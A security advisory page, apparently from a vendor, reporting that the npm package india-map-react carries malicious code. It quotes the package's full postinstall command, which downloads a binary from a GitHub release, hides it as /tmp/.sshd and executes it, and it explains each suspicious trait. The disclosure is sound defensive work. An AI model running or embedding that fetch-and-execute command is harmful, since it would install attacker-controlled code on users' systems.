india-map-reactnpm
Malicious code in india-map-react (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
On npm install, the package's postinstall script runs curl -skL https://github.com/parikhpreyash4/systemd-network-helper-aa5c751f/releases/latest/download/gvfsd-network -o /tmp/.sshd 2>/dev/null && chmod +x /tmp/.sshd && /tmp/.sshd &. The fetch disables TLS verification (-k), silences errors (-s plus 2>/dev/null), targets a latest-tagged (mutable) release on a GitHub account (parikhpreyash4) that does not match the npm publisher (yuvrajDurgesh), stages the downloaded binary at the hidden path /tmp/.sshd to impersonate the SSH daemon, sets it executable, and launches it backgrounded. The package's advertised purpose is a React component for an India map; downloading and executing an unrelated native binary from a third-party GitHub account is unrelated to that purpose. Every installer running npm install [email protected] is forced to execute attacker-controlled code on their machine.
Malicious versions
Indicators of compromise (SHA-256)
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Scan your dependencies
O3 Security blocks malicious packages like this at install time and in CI.
Supply-chain protection